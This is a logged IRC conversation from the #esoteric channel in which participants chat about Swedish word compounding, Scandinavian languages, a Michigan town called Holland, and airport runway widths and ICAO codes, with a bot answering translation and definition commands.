:oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yeah yeah < 1268342117 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :English. < 1268342145 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, then I feel sorry that you can't almost freely concatenate words to form new longer ones! < 1268342151 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1268342156 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(with a well defined meaning of course) < 1268342160 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :We can do that; it's just that we still put spaces in between. < 1268342175 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, then it isn't true concatenation < 1268342178 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So we say "Grand Valley State University Honors College application" instead of "Grandvalleystateuniversityhonorscollegeapplication". < 1268342179 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so it doesn't count < 1268342202 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, we need to add a few binding letters in there in Swedish between some of them < 1268342214 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it will take a few seconds to translate that < 1268342242 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ordsammensetningsumulighetssorg < 1268342269 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, "umulighet"? < 1268342275 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto en sv grand valley state university honors college application < 1268342277 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Grand Valley State University utmärkelser högskola ansökan < 1268342284 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :omöjlighet? < 1268342289 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, ah < 1268342295 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Apparently Google knows what Grand Valley State University is. < 1268342307 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, I'm unable to translate "collage" < 1268342314 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to anything except "universitet" < 1268342318 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which we already have < 1268342327 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :In this case, a college is a sub-unit of a university. < 1268342333 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Stordalgångslänsuniversitetshedersansökan < 1268342336 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and well < 1268342342 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :state had to be translated to län < 1268342347 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which is the not exactly < 1268342354 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but we don't have a real word for an US state < 1268342371 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :except, stat, which is also a synonym to land (country) < 1268342387 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, "state university" has a special meaning. < 1268342389 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :a Swedish län is *way* smaller than a US state < 1268342396 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, oh? well then I have no clue < 1268342416 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :A state university is a public university funded by an individual state. < 1268342429 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Apparently Google knows what Grand Valley State University is. <-- no it doesn't since it didn't translate it < 1268342435 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or if it is a name then I guess it does < 1268342465 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, oh and it's "högskola" for "college" is not a sub-unit of a university < 1268342475 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is closer to what in UK I think used to be called a polytechnic < 1268342481 0 :pikhq!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268342500 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It did translate it. It translated it from "grand valley state university" to "Grand Valley State University". < 1268342512 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, which makes no sense in Swedish < 1268342518 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since you don't do caps in the names like that < 1268342525 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, it's an English name. < 1268342531 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, we don't have title case you see < 1268342537 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :"Grand Valley State University (GVSU) er et universitet med hovedbase i Allendale i Michigan i Amerikas forente stater." < 1268342551 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, that was norwegian < 1268342555 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :True. < 1268342556 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or perhaps Danish < 1268342558 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :can't really tell < 1268342560 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Norwegian. < 1268342577 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1268342579 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i think danish would be "forenede" < 1268342583 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or something like that < 1268342585 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :förenta in Swedish < 1268342593 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and "er et" would be "är ett" < 1268342603 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and hovedbase would be "huvudbas" < 1268342610 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but that would sound awkward in that context < 1268342620 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it sounds like some military main base or such < 1268342624 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i'm not sure there would be any other differences between danish and norwegian there < 1268342663 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION would write it in a different way to get idiomatic Swedish
< 1268342686 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :danish wikipedia has no article on GVSU < 1268342691 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :probably instead of "with main base in" it would be like "located in" < 1268342737 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :um main base would imply there could be other bases elsewhere < 1268342750 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it seems to me < 1268342765 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, perhaps, well I would check if there was, and then write something that fitted that < 1268342781 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also I guess the more idiomatic English term would be HQ < 1268342794 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :of course the english article uses "located" :D < 1268342800 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which reminds me of RTS < 1268342829 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :GVSU does indeed have multiple campuses. < 1268342846 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The main one is in Allendale, there's another one in downtown Grand Rapids, and there are a couple of tiny ones in other places. < 1268342859 0 :pikhq!~pikhq@75-106-100-139.cust.wildblue.net JOIN :#esoteric < 1268342925 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, "with campus in Allendale, foo, bar and so on", with the Swedish translation for "and so on" sounding a lot better in the context than it does in English < 1268342944 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"med flera" (literally: with more) < 1268342949 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well no that isn't a literal translation < 1268342964 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I think we would tend to use "and others". < 1268342967 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, English doesn't have different words for mer and fler does it? < 1268342976 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, closer to the Swedish yeah < 1268342977 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :With campuses in Allendale, Grand Rapids, Holland and others. < 1268342992 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, shows I'm not a native speaker, not thinking of that English way < 1268343004 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The Holland campus is really inconvenient because it's in a different continent. < 1268343007 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: i think not, it has "less" vs. "fewer" but not the other way iirc < 1268343013 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268343031 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which is rather unsymmetrical when you think about it < 1268343038 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And they speak Dutch on that campus. < 1268343040 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, don't you agree? < 1268343047 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I really have no idea why GVSU has a campus there. < 1268343055 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Yeah. < 1268343056 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, I was just about to ask you heh < 1268343080 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Of course, I'm entirely kidding, and Holland is actually a city in Michigan. < 1268343091 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, err? really? < 1268343104 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :now that is confusing < 1268343105 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :There is a city called Holland, Michigan, yes. < 1268343111 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Paris, Texas < 1268343118 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :should anyone in Michigan actually *want* to travel to the real Holland < 1268343128 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :like, when ordering tickets < 1268343131 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Once, before I knew about it, my mom said, "Bye! I'm going to Holland!", and I thought, "Wait, what?" < 1268343136 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :at least if the city also have an airfield < 1268343166 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Isn't it quite a common thing for US people to do to name their cities and such after "real" places? < 1268343183 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, why did you have to put quotes around real there? < 1268343187 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it ruined the thing < 1268343218 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I notice it whenever I go to maps.google.com and type in a city without bothering to scroll away from the default US-centered start view; then it zooms to somewhere in Texas or whatever. < 1268343226 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Azeroth, California < 1268343233 0 :gm|lap!unknown@unknown.invalid QUIT :Quit: HydraIRC is a child molester -> http://silverex.net/news <- i couldn't change my quit message < 1268343243 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Azeroth? < 1268343250 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that sounds somewhat familar < 1268343255 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :World of Warcraft. < 1268343263 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, I don't play that < 1268343264 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Or just Warcraft. < 1268343265 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so can't be < 1268343268 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :nor that < 1268343287 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Wikipedia says that Holland, Michigan has two airports but no commercial flights. < 1268343298 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :two!? < 1268343306 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what kind of metropol is that? < 1268343325 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Population 35,000. < 1268343332 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay that is just weird < 1268343340 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I think they're the sort of airport that consists of a hanger and a runway. < 1268343344 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :s/e/a/ < 1268343346 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :even so < 1268343354 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :a runway takes a lot of space < 1268343362 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :A road also takes a lot of space. < 1268343367 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Incidentally, now that I went to test that maps.google.com, it seems to jump to the actual places I was actually looking for. Maybe they've changed that a bit. < 1268343373 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :usually 1 km x 20 m or so at least < 1268343374 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Michigan has plenty of rural space to spare. < 1268343412 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Is that 20 meters for the runway itself or also for the surrounding cleared area? < 1268343458 0 :pikhq!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268343461 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I guess we have some roads that are about 20 meters wide. < 1268343467 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, of it itself, but this varies widely with the intended use of the runway < 1268343470 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :some can be much wider < 1268343472 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The local "small" airport here in Helsinki seems to have runways of approximately that width. < 1268343473 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and much longer < 1268343486 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(Based on Google's satellite imagery.) < 1268343515 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :consider KEDW, that has some *very* wide runways < 1268343521 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(don't know exact values) < 1268343541 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The "main" (Helsinki-Vantaa) airport runway width, eyeballing from that satellite photo, seems to be around 50 m. < 1268343551 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well http://www.airnav.com/airport/KEDW gives 4R/22L as 91 meters wide < 1268343557 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which is very wide < 1268343574 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also it is over 4.5 km long that one < 1268343592 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Aw, I can't check my eyeball measurements, that site seems rather US-centric. < 1268343609 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, what is the ICAO code for it? < 1268343639 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, well? < 1268343657 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I could probably look it up with relative ease if I can just get the ICAO code for it.. < 1268343677 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it would start on E (north Europe) I know that < 1268343685 0 :pikhq!~pikhq@75-106-100-139.cust.wildblue.net JOIN :#esoteric < 1268343690 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't know what the second letter is for finland < 1268343705 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :EFHK. < 1268343728 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's F for Finland. (Or maybe it's just a happy accident and not by design.) < 1268343751 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Does K mean United States? < 1268343769 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, yes, you have 3 letters for inside the US < 1268343780 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :iirc france has a single letter prefix too < 1268343784 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and a few other big countries < 1268343803 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I just realized that I don't know what France calls itself. < 1268343821 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I forgot how to extract this from the flightgear airport data... < 1268343846 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :They call themselves France. That was easy enough. < 1268343862 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :_la_ France < 1268343862 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, what is your equiv of luftfartsverket? < 1268343894 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :they should have some sheets of info on the airport < 1268343899 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :on their website < 1268343927 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I guess it's called Finavia nowadays. And yes, I guess they'd have that. < 1268343928 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :with stuff like VOR freqs and any ILS glideslopes and landing patterns and what not < 1268343935 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: hey you're not supposed to spell that exactly the same as in norwegian! < 1268343987 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, "Finavia" sounds like some company flying cheap flights to tourist filled up islands or such < 1268343992 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm actually it's no longer called that in norwegian < 1268344007 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Avinor now < 1268344016 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ooh that sounds as silly... < 1268344018 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as the Finnish one < 1268344031 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: shall we beat him up? < 1268344058 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Yes. Do you want to be the one doing the beating, or the holding? < 1268344067 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hah < 1268344069 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ouch, choices < 1268344081 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, also from which direction to attack? < 1268344088 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and how to represent it? < 1268344104 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :stealth attack! -----### < 1268344108 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as a vector? If so, what would the base (is that the correct English term?) be < 1268344114 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, no < 1268344121 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, you got that wrong i think < 1268344132 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm? < 1268344135 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, it seems to be one - short < 1268344153 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :no < 1268344163 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, btw http://www.finavia.fi/files/finavia2/Taulukot/Airport_Facts_Chart_Jan09.pdf < 1268344177 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Five hyphens and three pounds, right? < 1268344183 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, your measurement is way off, those are all about 60 m wide < 1268344207 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the one I gave was for a rather small airport < 1268344215 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: as it should be! < 1268344222 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It still rounds to 50 if you quantize things with large enough granularity. < 1268344228 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also, just CAT II ILS heh < 1268344237 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is there a larger airport near there? < 1268344263 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if not I'm really surprised at the main Helsingfors airport not having a CAT III ILS < 1268344281 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :There's nothing larger than Helsinki-Vantaa in Finland, no. < 1268344287 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, heh < 1268344308 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :But the one I approximated at 20 m width was another place. < 1268344358 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, oh? you said EFHK when I asked < 1268344373 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, that was for the 50 m figure. < 1268344382 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : The "main" (Helsinki-Vantaa) airport runway width, eyeballing from that satellite photo, seems to be around 50 m. < 1268344391 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I was asking about the 20 meter one, I must have missed that line < 1268344414 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That one; it's EFHF for the tiny almost-in-the-city-centre airport. < 1268344468 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's not listed in that facts chart either; it's possible that it's still administered by the (apparently still existing as a subset of another government thing) Finnish Civil Aviation Authority thing, and not by the Finavia state-owned-enterprise nonsense. < 1268344526 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ffs, lfv.se has redesigned, I'm unable to find the data on Swedish airports < 1268344532 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :flight weather yes... < 1268344536 0 :Gracenotes!unknown@unknown.invalid QUIT :Quit: Leaving < 1268344541 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but not the landing patterns and so on < 1268344545 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I know I have read it before < 1268344549 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :If I read https://ais.fi/ais/eaip/aipcharts/efhf/hfad.pdf right that 20 m is actually 30 m. (At least in the N x M numbers the N matches the listed runway lengths.) < 1268344583 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, charts like that plus a lot more I remember seeing on lfv.se ... < 1268344583 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I like it how they have that other runway exactly 2^10 metres. < 1268344585 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: clearly it's to confuse the terrorists < 1268344606 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, -_- < 1268344643 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, yes seems to be 30 meters wide asphalt < 1268344673 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, also note the listing with the four runways down in the corner < 1268344686 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, do you know where the two "missing" ones are ;P < 1268344715 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what about you oerjan? < 1268344766 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Are those just the same things in both directions? It sure looks that way. < 1268344772 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, indeed < 1268344801 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I expect oerjan would have answered before you if the directions had been given as radians instead of magnetic heading < 1268344867 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what is the google thingy to search for things that links to a given url? < 1268344880 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Anyhow, https://ais.fi/ais/eaip/en/ seems to be the site for that sort of detailed information; it's Finavia-operated, but couldn't find any links to it from the mostly-PR-stuff finavia.fi site. At least Google helped. < 1268344896 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I suddenly wish .523 were a TLD. < 1268344903 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, why? < 1268344970 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Do you mean the link: operator? < 1268344977 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, ah thanks < 1268344978 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(http://www.google.com/intl/en/help/operators.html) < 1268344981 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, that didn't solve it < 1268345031 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Doing "link:" searches seems to work rather randomly nowadays, anyway. < 1268345066 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :aha http://www.lfv.se/sv/LFV/Flygtrafiktjansten/FPC/IAIP/AD-0-4/AD-2/ < 1268345068 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :there we go < 1268345082 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wow that is a lot of separate pdfs: http://www.lfv.se/sv/LFV/Flygtrafiktjansten/FPC/IAIP/AD-0-4/AD-2/S/ < 1268345118 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: i might have answered before fizzie if i had either (1) been looking at your page (2) not been browsing reddit < 1268345132 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, suuuure ;P < 1268345193 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, oh and it seems ESSA at least have CAT III ILS :P < 1268345207 0 :werdan7!unknown@unknown.invalid QUIT :Ping timeout: 615 seconds < 1268345374 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: because then we could have ais.523. < 1268345658 0 :werdan7!~w7@freenode/staff/wikimedia.werdan7 JOIN :#esoteric < 1268345761 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, -_- < 1268345912 0 :MigoMipo!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268346551 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: thermo says STAY OUT of #nm < 1268346569 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :so you should probably join just to piss him off < 1268346745 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lament, what is #nm about? < 1268346751 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :nanometers? < 1268346757 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :nautical miles? < 1268346772 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :naughty midgets < 1268346813 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :no mathematicians < 1268346840 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or perhaps naughty mathematicians < 1268346863 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :would that be like not writing => when you should? < 1268346959 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What's the irssi command to swap the current window with the given window < 1268346965 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :^H? < 1268346968 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: hmm, what was it again - two contumacious cubits per naughty midget? < 1268346980 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, ??? < 1268346998 0 :MizardX!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268347004 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: !!! < 1268347005 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :why cubits? < 1268347026 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :olsner: itym cupids < 1268347027 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh wait, not qubits? < 1268347046 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"A cubit is the first recorded unit of length and was one of many different standards of measurement used through history." < 1268347048 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :says wikipedia < 1268347049 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: for their contumacity, of course < 1268347066 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :olsner, and itym qubits < 1268347079 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: not that I did, but I could have meant it < 1268347133 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268347160 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`define cubit < 1268347163 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :* an ancient unit of length based on the length of the forearm \ [19]wordnetweb.princeton.edu/perl/webwn \ * CUBIT is an open source multi-touch system designed by Stefan Hechenberger and Addie Wagenknecht for NOR_/D. It was developed to "demystify multitouch" technology through making its software and hardware < 1268347245 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1268347296 0 :charlls!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268347548 0 :zeotrope!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1268347709 0 :zeotrope!~zeotrope@bas3-kitchener06-1096642086.dsl.bell.ca JOIN :#esoteric < 1268347981 0 :nooga!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1268348400 0 :nooga!~nooga@sc82.internetdsl.tpnet.pl JOIN :#esoteric < 1268349266 0 :adam_d!unknown@unknown.invalid QUIT :Quit: Leaving < 1268350218 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268351677 0 :fax!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1268351838 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268351873 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 